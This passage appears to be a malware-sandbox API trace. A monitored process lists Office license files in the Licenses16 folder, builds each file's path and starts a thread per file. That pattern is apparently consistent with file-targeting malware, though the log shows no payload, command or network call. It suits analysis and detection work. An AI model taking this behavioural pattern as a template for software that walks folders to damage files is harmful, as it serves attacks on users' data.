	[0084.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d4
	[0084.292] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34172f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-pl.xrm-ms", cAlternateFileName="EX3998~1.XRM")) returned 1
	[0084.292] wcscmp (_String1="ExcelR_Retail-pl.xrm-ms", _String2=".") returned 1
	[0084.292] wcscmp (_String1="ExcelR_Retail-pl.xrm-ms", _String2="..") returned 1
	[0084.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x48943c0
	[0084.292] wcscpy (in: _Dest=0x48943c0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.292] wcscat (in: _Dest=0x48943c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.292] wcscat (in: _Dest=0x48943c0, _Source="ExcelR_Retail-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms"
	[0084.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48943c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d8
	[0084.293] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe35223c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x516c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ppd.xrm-ms", cAlternateFileName="EX788A~1.XRM")) returned 1
	[0084.293] wcscmp (_String1="ExcelR_Retail-ppd.xrm-ms", _String2=".") returned 1
	[0084.293] wcscmp (_String1="ExcelR_Retail-ppd.xrm-ms", _String2="..") returned 1
	[0084.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4894280
	[0084.293] wcscpy (in: _Dest=0x4894280, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.293] wcscat (in: _Dest=0x4894280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.293] wcscat (in: _Dest=0x4894280, _Source="ExcelR_Retail-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms"
	[0084.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17dc
	[0084.294] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3299b47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3299b47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3358711, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ul-oob.xrm-ms", cAlternateFileName="EX9957~1.XRM")) returned 1
	[0084.294] wcscmp (_String1="ExcelR_Retail-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.294] wcscmp (_String1="ExcelR_Retail-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987e08
	[0084.294] wcscpy (in: _Dest=0x4987e08, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.294] wcscat (in: _Dest=0x4987e08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.294] wcscat (in: _Dest=0x4987e08, _Source="ExcelR_Retail-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms"
	[0084.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e0
	[0084.295] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3201264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe32e60a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Retail-ul-phn.xrm-ms", cAlternateFileName="EXCELR~4.XRM")) returned 1
	[0084.295] wcscmp (_String1="ExcelR_Retail-ul-phn.xrm-ms", _String2=".") returned 1
	[0084.295] wcscmp (_String1="ExcelR_Retail-ul-phn.xrm-ms", _String2="..") returned 1
	[0084.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49876d0
	[0084.295] wcscpy (in: _Dest=0x49876d0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.295] wcscat (in: _Dest=0x49876d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.295] wcscat (in: _Dest=0x49876d0, _Source="ExcelR_Retail-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms"
	[0084.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49876d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e4
	[0084.295] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe330c311, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe330c311, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec691f40, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b83, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-pl.xrm-ms", cAlternateFileName="EXA577~1.XRM")) returned 1
	[0084.296] wcscmp (_String1="ExcelR_Trial-pl.xrm-ms", _String2=".") returned 1
	[0084.296] wcscmp (_String1="ExcelR_Trial-pl.xrm-ms", _String2="..") returned 1
	[0084.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894be0
	[0084.296] wcscpy (in: _Dest=0x4894be0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.296] wcscat (in: _Dest=0x4894be0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.296] wcscat (in: _Dest=0x4894be0, _Source="ExcelR_Trial-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms"
	[0084.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8
	[0084.296] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3299b47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3299b47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe330c311, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-ppd.xrm-ms", cAlternateFileName="EX4CA4~1.XRM")) returned 1
	[0084.296] wcscmp (_String1="ExcelR_Trial-ppd.xrm-ms", _String2=".") returned 1
	[0084.296] wcscmp (_String1="ExcelR_Trial-ppd.xrm-ms", _String2="..") returned 1
	[0084.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x48948c0
	[0084.296] wcscpy (in: _Dest=0x48948c0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.296] wcscat (in: _Dest=0x48948c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.296] wcscat (in: _Dest=0x48948c0, _Source="ExcelR_Trial-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms"
	[0084.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48948c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17ec
	[0084.297] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe337e9fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe337e9fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Trial-ul-oob.xrm-ms", cAlternateFileName="EXB3BA~1.XRM")) returned 1
	[0084.297] wcscmp (_String1="ExcelR_Trial-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.297] wcscmp (_String1="ExcelR_Trial-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987b68
	[0084.297] wcscpy (in: _Dest=0x4987b68, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.297] wcscat (in: _Dest=0x4987b68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.297] wcscat (in: _Dest=0x4987b68, _Source="ExcelR_Trial-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms"
	[0084.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0
	[0084.298] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34172f7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34172f7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe35485e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ppd.xrm-ms", cAlternateFileName="EXCELV~1.XRM")) returned 1
	[0084.298] wcscmp (_String1="ExcelVL_KMS_Client-ppd.xrm-ms", _String2=".") returned 1
	[0084.298] wcscmp (_String1="ExcelVL_KMS_Client-ppd.xrm-ms", _String2="..") returned 1
	[0084.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4988000
	[0084.298] wcscpy (in: _Dest=0x4988000, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.298] wcscat (in: _Dest=0x4988000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.298] wcscat (in: _Dest=0x4988000, _Source="ExcelVL_KMS_Client-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms"
	[0084.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4988000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f4
	[0084.299] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec750afb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec750afb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec7e944d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ul-oob.xrm-ms", cAlternateFileName="EX0778~1.XRM")) returned 1
	[0084.299] wcscmp (_String1="ExcelVL_KMS_Client-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.299] wcscmp (_String1="ExcelVL_KMS_Client-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5de58
	[0084.299] wcscpy (in: _Dest=0x2d5de58, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.299] wcscat (in: _Dest=0x2d5de58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.299] wcscat (in: _Dest=0x2d5de58, _Source="ExcelVL_KMS_Client-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms"
	[0084.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5de58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8
	[0084.299] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3af1fe3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3af1fe3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bd6df0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2581, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_KMS_Client-ul.xrm-ms", cAlternateFileName="EXCDB8~1.XRM")) returned 1
	[0084.300] wcscmp (_String1="ExcelVL_KMS_Client-ul.xrm-ms", _String2=".") returned 1
	[0084.300] wcscmp (_String1="ExcelVL_KMS_Client-ul.xrm-ms", _String2="..") returned 1
	[0084.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4987f58
	[0084.300] wcscpy (in: _Dest=0x4987f58, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.300] wcscat (in: _Dest=0x4987f58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.300] wcscat (in: _Dest=0x4987f58, _Source="ExcelVL_KMS_Client-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms"
	[0084.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17fc
	[0084.300] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3aa5b3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3aa5b3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b8a961, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-pl.xrm-ms", cAlternateFileName="EXCELV~4.XRM")) returned 1
	[0084.300] wcscmp (_String1="ExcelVL_MAK-pl.xrm-ms", _String2=".") returned 1
	[0084.300] wcscmp (_String1="ExcelVL_MAK-pl.xrm-ms", _String2="..") returned 1
	[0084.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e317a8
	[0084.300] wcscpy (in: _Dest=0x4e317a8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.300] wcscat (in: _Dest=0x4e317a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.300] wcscat (in: _Dest=0x4e317a8, _Source="ExcelVL_MAK-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms"
	[0084.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e317a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1804
	[0084.301] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3aa5b3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3aa5b3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3bb0ba1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ppd.xrm-ms", cAlternateFileName="EXCELV~3.XRM")) returned 1
	[0084.301] wcscmp (_String1="ExcelVL_MAK-ppd.xrm-ms", _String2=".") returned 1
	[0084.301] wcscmp (_String1="ExcelVL_MAK-ppd.xrm-ms", _String2="..") returned 1
	[0084.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894b40
	[0084.301] wcscpy (in: _Dest=0x4894b40, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.301] wcscat (in: _Dest=0x4894b40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.301] wcscat (in: _Dest=0x4894b40, _Source="ExcelVL_MAK-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms"
	[0084.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c
	[0087.038] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3a0d1e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3a0d1e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3b181c2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ul-oob.xrm-ms", cAlternateFileName="EXCELV~2.XRM")) returned 1
	[0087.038] wcscmp (_String1="ExcelVL_MAK-ul-oob.xrm-ms", _String2=".") returned 1
	[0087.038] wcscmp (_String1="ExcelVL_MAK-ul-oob.xrm-ms", _String2="..") returned 1
	[0087.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894820
	[0087.038] wcscpy (in: _Dest=0x4894820, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0087.038] wcscat (in: _Dest=0x4894820, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0087.038] wcscat (in: _Dest=0x4894820, _Source="ExcelVL_MAK-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms"
	[0089.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc
	[0089.760] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3bb0ba1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3bb0ba1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3c494f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelVL_MAK-ul-phn.xrm-ms", cAlternateFileName="EX3B3E~1.XRM")) returned 1
	[0089.760] wcscmp (_String1="ExcelVL_MAK-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.760] wcscmp (_String1="ExcelVL_MAK-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.760] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4895040
	[0089.760] wcscpy (in: _Dest=0x4895040, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.760] wcscat (in: _Dest=0x4895040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.760] wcscat (in: _Dest=0x4895040, _Source="ExcelVL_MAK-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms"
	[0089.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4895040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4c
	[0089.761] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3c9598b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3c9598b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3d7a82a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="HOB5CE~1.XRM")) returned 1
	[0089.761] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms", _String2=".") returned 1
	[0089.761] wcscmp (_String1="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms", _String2="..") returned 1
	[0089.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4924a28
	[0089.761] wcscpy (in: _Dest=0x4924a28, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
